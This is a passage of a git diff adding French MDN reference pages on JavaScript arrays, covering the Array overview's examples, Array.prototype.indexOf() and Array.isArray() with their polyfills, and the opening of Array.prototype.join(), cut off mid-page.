+<p>Le résultat d'une correspondance entre une expression rationnelle et une chaîne peut créer un tableau. Ce tableau possède des propriétés et des éléments qui fournissent des informations sur cette correspondance. Il est possible d'obtenir un tableau grâce aux méthodes {{jsxref("RegExp.exec")}}, {{jsxref("String.match")}}, and {{jsxref("String.replace")}}. Pour mieux comprendre le fonctionnement de ces propriétés et de ces éléments, on pourra utiliser l'exemple et le tableau qui suivent :</p>
+
+<pre class="brush: js notranslate">// Matche un "d" suivit par un ou plusieurs "b" et suivit d'un "d"
+// Capture les "b" et le "d" qui suit
+// Ignore la casse
+
+var maRegexp = /d(b+)(d)/i;
+var monTableau = maRegexp.exec("cdbBdbsbz");
+
+console.log(monTableau);
+// [ 0:"dbBd", 1:"bB", 2:"d", index:1, input:"cdbBdbsbz", length:3 ]</pre>
+
+<p>Les propriétés et les éléments retournés depuis cette correspondance sont les suivants :</p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td class="header">Propriété/Élément</td>
+   <td class="header">Description</td>
+   <td class="header">Exemple</td>
+  </tr>
+  <tr>
+   <td><code>input</code></td>
+   <td>Une propriété en lecture seule qui reflète la chaîne originale sur laquelle l'expression rationnelle a été appliquée.</td>
+   <td>cdbBdbsbz</td>
+  </tr>
+  <tr>
+   <td><code>index</code></td>
+   <td>Une propriété en lecture seule qui est l'indice de la correspondance dans la chaîne (les indices commencent à 0)</td>
+   <td>1</td>
+  </tr>
+  <tr>
+   <td><code>[0]</code></td>
+   <td>Une propriété en lecture seule qui spécifie les derniers caractères correspondants.</td>
+   <td>dbBd</td>
+  </tr>
+  <tr>
+   <td><code>[1], ...[n]</code></td>
+   <td>Des éléments en lecture seule qui contiennent les groupes capturés, s'il y en a dans l'expression régulière. Le nombre de groupes capturés possibles est illimité.</td>
+   <td>[1]: bB<br>
+    [2]: d</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{jsxref("Array.prototype.length")}}</dt>
+ <dd>La propriété de longueur pour le constructeur <code>Array</code>, elle vaut 1.</dd>
+ <dt>{{jsxref("Array.@@species", "get Array[@@species]")}}</dt>
+ <dd>La fonction de construction utilisée pour créer les objets dérivés.</dd>
+ <dt>{{jsxref("Array.prototype")}}</dt>
+ <dd>Cette propriété permet d'ajouter des propriétés à tous les tableaux.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{jsxref("Array.from()")}}</dt>
+ <dd>Cette méthode permet de créer une nouvelle instance d'<code>Array</code> à partir d'un objet semblable à un tableau ou d'un itérable.</dd>
+ <dt>{{jsxref("Array.isArray()")}}</dt>
+ <dd>Cette méthode renvoie <code>true</code> si la variable est un tableau, <code>false</code> sinon.</dd>
+ <dt>{{jsxref("Array.of()")}}</dt>
+ <dd>Cette méthode permet de créer une nouvelle instance d'<code>Array</code> à partir d'un nombre variable d'arguments (peu importe la quantité ou le type des arguments utilisés).</dd>
+</dl>
+
+<h2 id="Instances_dArray">Instances d'<code>Array</code></h2>
+
+<p>Toutes les instances d'<code>Array</code> héritent de {{jsxref("Array.prototype")}}. Le prototype du constructeur <code>Array</code> peut être modifié afin d'affecter l'ensemble des instances grâce à l'héritage.</p>
+
+<h3 id="Les_propriétés">Les propriétés</h3>
+
+<div>{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/Array/prototype', 'Propriétés')}}</div>
+
+<h3 id="Les_méthodes">Les méthodes</h3>
+
+<h4 id="Les_mutateurs">Les mutateurs</h4>
+
+<div>{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/Array/prototype', 'Mutateurs')}}</div>
+
+<h4 id="Les_accesseurs">Les accesseurs</h4>
+
+<div>{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/Array/prototype', 'Accesseurs')}}</div>
+
+<h4 id="Les_méthodes_ditération">Les méthodes d'itération</h4>
+
+<div>{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/Array/prototype', 'Méthodes_itératives')}}</div>
+
+<h2 id="Les_méthodes_génériques_de_manipulation_de_tableaux">Les méthodes génériques de manipulation de tableaux</h2>
+
+<div class="warning">
+<p><strong>Attention :</strong> Ces méthodes génériques ne sont pas standard. Elles sont dépréciées et seront retirées dans un avenir proche. Celles-ci ne peuvent être utilisées sur tous les navigateurs. Toutefois, il existe <a href="https://github.com/plusdude/array-generics">un <em>shim</em> disponible sur GitHub</a>.</p>
+</div>
+
+<p>Parfois, on peut vouloir appliquer des méthodes pour les tableaux sur des chaînes ou d'autres objets semblables aux tableaux (ex. : l'objet {{jsxref("Fonctions/arguments", "arguments", "", 1)}}). Une chaîne sera donc traitée comme un tableau de caractères. Ainsi, si on souhaite vérifier que chaque caractère d'une chaîne <code><var>str</var></code> est bien une lettre comprise entre 'a' et 'z', on pourra utiliser :</p>
+
+<pre class="brush: js notranslate">function estUneLettre(caractère) {
+  return caractère &gt;= 'a' &amp;&amp; caractère &lt;= 'z';
+}
+
+if (Array.prototype.every.call(str, estUneLettre)) {
+  console.log("La chaîne '" + str + "' ne contient que des lettres entre a et z!");
+}
+</pre>
+
+<p>Cette notation étant plutôt verbeuse, une notation raccourcie a été introduite avec JavaScript 1.6 :</p>
+
+<pre class="brush: js notranslate">if (Array.every(str,estUneLettre)) {
+  console.log("La chaîne '" + str + "' ne contient que des lettres entre a et z !");
+}
+</pre>
+
+<p>Des {{jsxref("Objets_globaux/String", "méthodes génériques", "#Méthodes_génériques_de_String", 1)}} sont également disponibles pour les {{jsxref("Objets_globaux/String", "String")}}.</p>
+
+<p>Cette fonctionnalité ne fait pas partie du standard ECMAScript et n'est pas prise en charge par les navigateurs qui ne sont pas basés sur Gecko. Comme alternative standard, vous pouvez convertir votre objet en véritable tableau grâce à la méthode {{jsxref("Array.from()")}} (attention, cette méthode n'est pas supportée dans les anciens navigateurs) :</p>
+
+<pre class="brush: js notranslate">if (Array.from(str).every(estUneLettre)) {
+  console.log("La chaîne '" + str + "' contient uniquement des lettres !");
+}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Créer_un_tableau">Créer un tableau</h3>
+
+<p>Dans l'exemple suivant, on crée un tableau <code>tableauMsg</code>, d'une longueur nulle. Ensuite, on lui affecte des valeurs pour <code>tableauMsg[0]</code> et <code>tableauMsg[99]</code>, ce qui aura pour effet de modifier la propriété <code>length</code> (qui vaudra alors 100).</p>
+
+<pre class="brush: js notranslate">var tableauMsg = [];
+tableauMsg[0] = 'Coucou';
+tableauMsg[99] = 'monde';
+
+if (tableauMsg.length === 100) {
+  console.log('La longueur du tableau vaut 100.');
+}
+</pre>
+
+<h3 id="Créer_un_tableau_à_deux_dimensions">Créer un tableau à deux dimensions</h3>
+
+<p>Dans l'exemple qui suit, on crée un plateau d'échec grâce à un tableau en deux dimensions qui contient des caractères. Le premier mouvement est effectué en copiant 'p' de (6,4) vers (4,4). La position anciennement occupée par le pion (6,4) devient vide.</p>
+
+<pre class="brush: js notranslate">var plateau = [
+  ['T','C','F','R','K','F','C','T'],
+  ['P','P','P','P','P','P','P','P'],
+  [' ',' ',' ',' ',' ',' ',' ',' '],
+  [' ',' ',' ',' ',' ',' ',' ',' '],
+  [' ',' ',' ',' ',' ',' ',' ',' '],
+  [' ',' ',' ',' ',' ',' ',' ',' '],
+  ['p','p','p','p','p','p','p','p'],
+  ['t','c','f','k','r','f','c','t'] ];
+
+console.log(plateau.join('\n') + '\n\n');
+
+// On déplace le pion de deux cases en avant 2
+plateau[4][4] = plateau[6][4];
+plateau[6][4] = ' ';
+console.log(plateau.join('\n'));
+</pre>
+
+<p>Voici le résultat affiché :</p>
+
+<pre class="eval notranslate">T,C,F,R,K,F,C,T
+P,P,P,P,P,P,P,P
+ , , , , , , ,
+ , , , , , , ,
+ , , , , , , ,
+ , , , , , , ,
+p,p,p,p,p,p,p,p
+t,c,f,k,r,f,c,t
+
+T,C,F,R,K,F,C,T
+P,P,P,P,P,P,P,P
+ , , , , , , ,
+ , , , , , , ,
+ , , , ,p, , ,
+ , , , , , , ,
+p,p,p,p, ,p,p,p
+t,c,f,k,r,f,c,t
+</pre>
+
+<h3 id="Utiliser_un_tableau_pour_tabuler_un_ensemble_de_valeurs">Utiliser un tableau pour tabuler un ensemble de valeurs</h3>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js">values <span class="operator token">=</span> <span class="punctuation token">[</span><span class="punctuation token">]</span><span class="punctuation token">;</span>
+<span class="keyword token">for</span> <span class="punctuation token">(</span><span class="keyword token">var</span> x <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">;</span> x <span class="operator token">&lt;</span> <span class="number token">10</span><span class="punctuation token">;</span> x<span class="operator token">++</span><span class="punctuation token">)</span><span class="punctuation token">{</span>
+ values<span class="punctuation token">.</span><span class="function token">push</span><span class="punctuation token">(</span><span class="punctuation token">[</span>
+  <span class="number token">2</span> <span class="operator token">*</span><span class="operator token">*</span> x<span class="punctuation token">,</span>
+  <span class="number token">2</span> <span class="operator token">*</span> x <span class="operator token">*</span><span class="operator token">*</span> <span class="number token">2</span>
+ <span class="punctuation token">]</span><span class="punctuation token">)</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span>
+console<span class="punctuation token">.</span><span class="function token">table</span><span class="punctuation token">(</span>values<span class="punctuation token">)</span></code></pre>
+
+<p>Résulte en</p>
+
+<pre class="eval line-numbers  language-html notranslate"><code class="language-html">0	1	0
+1	2	2
+2	4	8
+3	8	18
+4	16	32
+5	32	50
+6	64	72
+7	128	98
+8	256	128
+9	512	162</code></pre>
+
+<p>(Le première colonne est l'index)</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4', 'Array')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Ajout de nouvelles méthodes : {{jsxref("Array.isArray")}}, {{jsxref("Array.prototype.indexOf", "indexOf")}}, {{jsxref("Array.prototype.lastIndexOf", "lastIndexOf")}}, {{jsxref("Array.prototype.every", "every")}}, {{jsxref("Array.prototype.some", "some")}}, {{jsxref("Array.prototype.forEach", "forEach")}}, {{jsxref("Array.prototype.map", "map")}}, {{jsxref("Array.prototype.filter", "filter")}}, {{jsxref("Array.prototype.reduce", "reduce")}}, {{jsxref("Array.prototype.reduceRight", "reduceRight")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array-objects', 'Array')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Ajout de nouvelles méthodes : {{jsxref("Array.from")}}, {{jsxref("Array.of")}}, {{jsxref("Array.prototype.find", "find")}}, {{jsxref("Array.prototype.findIndex", "findIndex")}}, {{jsxref("Array.prototype.fill", "fill")}}, {{jsxref("Array.prototype.copyWithin", "copyWithin")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES7', '#sec-array-objects', 'Array')}}</td>
+   <td>{{Spec2('ES7')}}</td>
+   <td>Ajout de la méthode {{jsxref("Array.prototype.includes()")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array-objects', 'Array')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Array")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Guide/Utiliser_les_objets#Indexer_les_propri.C3.A9t.C3.A9s_d'un_objet">Guide JavaScript : indexer les propriétés d'un objet</a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Guide/Objets_élémentaires_JavaScript#Les_tableaux_.3A_objet_Array">Guide JavaScript : Les objets natifs : l'objet <code>Array</code></a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Compréhensions_de_tableau">Les compréhensions de tableau</a></li>
+ <li><a href="https://github.com/plusdude/array-generics">Émulation pour les méthodes génériques et autres fonctionnalités ECMAScript 5 pour les tableaux</a> (en anglais)</li>
+ <li><a href="/fr/docs/Web/JavaScript/Tableaux_typés">Les tableaux typés</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/indexof/index.html b/files/fr/web/javascript/reference/objets_globaux/array/indexof/index.html
new file mode 100644
index 0000000000..5ff4981c2e
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/array/indexof/index.html
@@ -0,0 +1,214 @@
+---
+title: Array.prototype.indexOf()
+slug: Web/JavaScript/Reference/Objets_globaux/Array/indexOf
+tags:
+  - Array
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/indexOf
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>indexOf()</strong></code> renvoie le premier indice pour lequel on trouve un élément donné dans un tableau. Si l'élément cherché n'est pas présent dans le tableau, la méthode renverra -1.</p>
+
+<div class="note">
+<p><strong>Note :</strong> pour la méthode associée aux chaînes de caractères, voir la page {{jsxref("String.prototype.indexOf()")}}.</p>
+</div>
+
+<div>{{EmbedInteractiveExample("pages/js/array-indexof.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>arr</var>.indexOf(<var>élémentRecherché</var>)
+<var>arr</var>.indexOf(<var>élémentRecherché</var>, indiceDébut)
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>élémentRecherché</code></dt>
+ <dd>L'élément qu'on cherche dans le tableau</dd>
+ <dt><code>indiceDébut</code> {{optional_inline}}</dt>
+ <dd>L'index à partir duquel commencer la recherche. La valeur par défaut est 0 (le tableau sera parcouru dans sa totalité). Si l'index est plus grand ou égal à la longueur du tableau, la méthode renverra -1. Si l'index est négatif, la recherche commencera d'autant d'éléments, à partir de la fin du tableau. À noter que même si l'index est négatif, la recherche s'effectue toujours du début jusqu'à la fin du tableau. Si l'index fourni est inférieur à 0, le tableau sera entièrement parcouru.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Le premier index de l'élément dans le tableau ou -1 si la valeur n'est pas trouvée.</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>indexOf</code> compare <code>élémentRecherché</code> aux éléments contenus dans le tableau en utilisant une <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_de_comparaison#.C3.89galit.C3.A9_stricte_(.3D.3D.3D)">égalité stricte</a> (la même méthode utilisée par l'opérateur <code>===</code>).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_indexOf()">Utiliser <code>indexOf()</code></h3>
+
+<p>Dans l'exemple qui suit, on peut utiliser <code>indexOf</code> afin de trouver l'emplacement d'un élément dans un tableau.</p>
+
+<pre class="brush: js">var tableau = [2, 9, 9];
+tableau.indexOf(2);     // 0
+tableau.indexOf(7);     // -1
+tableau.indexOf(9, 2);  // 2
+tableau.indexOf(2, -1); // -1
+tableau.indexOf(2, -3); // 0</pre>
+
+<h3 id="Trouver_toutes_les_occurences_d'un_élément">Trouver toutes les occurences d'un élément</h3>
+
+<p>Dans l'exemple qui suit, on utilise <code>indexOf()</code> afin de trouver tous les indices d'un élément dans un tableau. On peut utiliser la méthode {{jsxref("Array.prototype.push", "push")}} afin d'ajouter ces indices dans un autre tableau.</p>
+
+<pre class="brush: js">var indices = [];
+var tableau = ['a', 'b', 'a', 'c', 'a', 'd'];
+var élément = 'a';
+var idx = tableau.indexOf(élément);
+while (idx != -1) {
+  indices.push(idx);
+  idx = tableau.indexOf(élément, idx + 1);
+}
+console.log(indices);
+// [0, 2, 4]</pre>
+
+<h3 id="Trouver_si_un_élément_existe_et_l'ajouter_dans_le_tableau_si_ce_n'est_pas_le_cas">Trouver si un élément existe et l'ajouter dans le tableau si ce n'est pas le cas</h3>
+
+<pre class="brush: js">function mettreAJourLegumes(tabLégumes, légume) {
+    if (tabLégumes.indexOf(légume) === -1) {
+        tabLégumes.push(légume);
+        console.log('Le nouveau tableau est : ' + tabLégumes);
+    } else if (tabLégumes.indexOf(légume) &gt; -1) {
+        console.log(légume + ' existe déjà dans le tableau.');
+    }
+}
+
+var tabLégumes = ['pomme de terre', 'tomate', 'poivron'];
+
+mettreAJourLegumes(tabLégumes, 'épinard');
+// Le nouveau tableau est : pomme de terre,tomate,poivron,épinard
+mettreAJourLegumes(tabLégumes, 'épinard');
+// épinard existe déjà dans le tableau.</pre>
+
+<h2 id="Prothèse_d'émulation_(polyfill)">Prothèse d'émulation (<em>polyfill</em>)</h2>
+
+<p><code>indexOf</code> fut ajouté avec la cinquième édition du standard ECMA-262 ; il peut donc ne pas être présent dans tous les navigateurs web. Vous pouvez contourner ce problème en insérant le code suivant au début de vos scripts. Il permet d'utiliser <code>indexOf</code> dans les environnements qui ne le supportent pas nativement. L'algorithme est le même que celui spécifié dans ECMAScript 5 si on a bien {{jsxref("TypeError", "TypeError")}} et {{jsxref("Math.abs")}} qui ont leurs valeurs originales :</p>
+
+<pre class="brush: js">// Production steps of ECMA-262, Edition 5, 15.4.4.14
+// Référence : http://es5.github.io/#x15.4.4.14
+if (!Array.prototype.indexOf) {
+  Array.prototype.indexOf = function(searchElement, fromIndex) {
+
+    var k;
+
+    // 1. Soit O le résultat de l'appel à ToObject avec
+    //    this en argument.
+    if (this == null) {
+      throw new TypeError('"this" vaut null ou n est pas défini');
+    }
+
+    var O = Object(this);
+
+    // 2. Soit lenValue le résultat de l'appel de la
+    //    méthode interne Get de O avec l'argument
+    //    "length".
+    // 3. Soit len le résultat de ToUint32(lenValue).
+    var len = O.length &gt;&gt;&gt; 0;
+
+    // 4. Si len vaut 0, on renvoie -1.
+    if (len === 0) {
+      return -1;
+    }
+
+    // 5. Si l'argument fromIndex a été utilisé, soit
+    //    n le résultat de ToInteger(fromIndex)
+    //    0 sinon
+    var n = +fromIndex || 0;
+
+    if (Math.abs(n) === Infinity) {
+      n = 0;
+    }
+
+    // 6. Si n &gt;= len, on renvoie -1.
+    if (n &gt;= len) {
+      return -1;
+    }
+
+    // 7. Si n &gt;= 0, soit k égal à n.
+    // 8. Sinon, si n&lt;0, soit k égal à len - abs(n).
+    //    Si k est inférieur à 0, on ramène k égal à 0.
+    k = Math.max(n &gt;= 0 ? n : len - Math.abs(n), 0);
+
+    // 9. On répète tant que k &lt; len
+    while (k &lt; len) {
+      // a. Soit Pk égal à ToString(k).
+      //    Ceci est implicite pour l'opérande gauche de in
+      // b. Soit kPresent le résultat de l'appel de la
+      //    méthode interne HasProperty de O avec Pk en
+      //    argument. Cette étape peut être combinée avec
+      //    l'étape c
+      // c. Si kPresent vaut true, alors
+      //    i.  soit elementK le résultat de l'appel de la
+      //        méthode interne Get de O avec ToString(k) en
+      //        argument
+      //   ii.  Soit same le résultat de l'application de
+      //        l'algorithme d'égalité stricte entre
+      //        searchElement et elementK.
+      //  iii.  Si same vaut true, on renvoie k.
+      if (k in O &amp;&amp; O[k] === searchElement) {
+        return k;
+      }
+      k++;
+    }
+    return -1;
+  };
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.14', 'Array.prototype.indexOf')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.6.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.indexof', 'Array.prototype.indexOf')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.indexof', 'Array.prototype.indexOf')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Array.indexOf")}}</p>
+</div>
+
+<h2 id="Notes_de_compatibilité">Notes de compatibilité</h2>
+
+<ul>
+ <li>À partir de Firefox 47 ({{geckoRelease(47)}}), cette méthode ne renverra plus <code>-0</code>. Ainsi, <code>[0].indexOf(0, -0)</code> renverra toujours <code>+0</code> (cf. {{bug(1242043)}}).</li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.lastIndexOf()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.indexOf()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/isarray/index.html b/files/fr/web/javascript/reference/objets_globaux/array/isarray/index.html
new file mode 100644
index 0000000000..bc07a159b0
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/array/isarray/index.html
@@ -0,0 +1,117 @@
+---
+title: Array.isArray()
+slug: Web/JavaScript/Reference/Objets_globaux/Array/isArray
+tags:
+  - Array
+  - ECMAScript 5
+  - JavaScript
+  - Méthode
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/isArray
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>Array.isArray()</strong></code> permet de déterminer si l'objet passé en argument est un objet {{jsxref("Array")}}, elle renvoie <code>true</code> si le paramètre passé à la fonction est de type <code>Array</code> et <code>false</code> dans le cas contraire.</p>
+
+<pre class="brush: js">Array.isArray([1, 2, 3]);   // true
+Array.isArray({toto: 123}); // false
+Array.isArray("tototruc");  // false
+Array.isArray(undefined);   // false
+</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Array.isArray(<var>value</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>La valeur dont on veut vérifier le type</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p><code>true</code> si la valeur est un tableau (une instance de {{jsxref("Array")}}), <code>false</code> sinon.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Si l'objet indiqué en paramètre est un {{jsxref("Array")}}, la méthode renvoie <code>true</code>, sinon, elle renvoie <code>false</code>.</p>
+
+<p>Voir aussi : « <a href="http://web.mit.edu/jwalden/www/isArray.html">Determining with absolute accuracy whether or not a JavaScript object is an array</a> » (en anglais) pour avoir plus de détails. Si on passe un objet {{jsxref("TypedArray")}} en argument, ce sera toujours la valeur <code>false</code> qui sera renvoyée.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">// Tous les appels suivant renvoient true
+Array.isArray([]);
+Array.isArray([1]);
+Array.isArray(new Array());
+Array.isArray(new Array('a', 'b', 'c'));
+Array.isArray(new Array(3));
+// Une petite anecdote: Array.prototype lui même est un Array
+Array.isArray( Array.prototype );
+
+// Tous les appels suivant renvoient false
+Array.isArray();
+Array.isArray({});
+Array.isArray(null);
+Array.isArray(undefined);
+Array.isArray(17);
+Array.isArray("Array");
+Array.isArray(true);
+Array.isArray(false);
+Array.isArray(new Uint8Array(32));
+Array.isArray({ __proto__ : Array.prototype });
+</pre>
+
+<h2 id="Prothèse_d'émulation_(polyfill)">Prothèse d'émulation (<em>polyfill</em>)</h2>
+
+<p>Exécuter ce code avant tout les autres aboutira à la création de la méthode <code>Array.isArray()</code>si elle n'est pas nativement prise en charge par le navigateur.</p>
+
+<pre class="brush: js">if(!Array.isArray) {
+  Array.isArray = function(arg) {
+    return Object.prototype.toString.call(arg) === '[object Array]';
+  };
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.3.2', 'Array.isArray')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.8.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.isarray', 'Array.isArray')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.isarray', 'Array.isArray')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Array.isArray")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/join/index.html b/files/fr/web/javascript/reference/objets_globaux/array/join/index.html
new file mode 100644
index 0000000000..e28efaae77
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/array/join/index.html
@@ -0,0 +1,110 @@
+---
+title: Array.prototype.join()
+slug: Web/JavaScript/Reference/Objets_globaux/Array/join
+tags:
+  - Array
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/join
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>join()</strong></code> crée et renvoie une nouvelle chaîne de caractères en concaténant tous les éléments d'un tableau (ou d'<a href="/fr/docs/Web/JavaScript/Guide/Collections_indexées#Manipuler_des_objets_semblables_à_des_tableaux">un objet semblable à un tableau</a>). La concaténation utilise la virgule ou une autre chaîne, fournie en argument, comme séparateur.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-join.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>arr</var>.join()
+<var>arr</var>.join(<var>séparateur</var>)
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>séparateur</code> {{optional_inline}}</dt>
+ <dd>Ce paramètre optionnel indique une chaine de caractères pour séparer chaque élément du tableau. Le séparateur est converti en une chaine de caractères si nécessaire. Si ce paramètre n'est pas utilisé, les éléments du tableau seront séparés par une virgule (,). Si ce paramètre est la chaîne vide, les éléments seront accolés les uns aux autres sans espace entre. La valeur par défaut de ce paramètre est <code>","</code>.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne de caractères composée de tous les éléments du tableau joints les uns aux autres. Si la longueur du tableau (<code>arr.length</code>) vaut <code>0</code>, c'est la chaîne vide qui est renvoyée. Si le tableau ne contient qu'un élément, sa version texte sera renvoyée sans être suivie du séparateur.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Les différents éléments du tableau sont convertis en une chaîne de caractères puis fusionnés en une seule chaîne. Si un élément vaut <code>undefined</code> ou <code>null</code>, il sera converti en la chaîne vide. Cette fonction est générique et peut donc être utilisée avec <a href="/fr/docs/Web/JavaScript/Guide/Collections_indexées#Manipuler_des_objets_semblables_à_des_tableaux">les objets semblables aux tableaux</a>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Fusionner_un_tableau_de_quatre_façons_différentes">Fusionner un tableau de quatre façons différentes</h3>
+
+<p>L'exemple suivant crée un tableau, <code>a</code>, avec trois éléments, puis joint le tableau à trois reprises : en utilisant le séparateur par défaut, une virgule et un espace, puis un plus, puis avec la chaîne vide.</p>
+
+<pre class="brush: js">var a = new Array("Vent","Pluie","Feu");
+a.join();      // "Vent,Pluie,Feu"
+a.join(", ");  // "Vent, Pluie, Feu"
+a.join(" + "); // "Vent + Pluie + Feu"
+a.join("");    // "VentPluieFeu"</pre>
+
+<h3 id="Fusionner_un_objet_semblable_à_un_tableau">Fusionner un objet semblable à un tableau</h3>
+
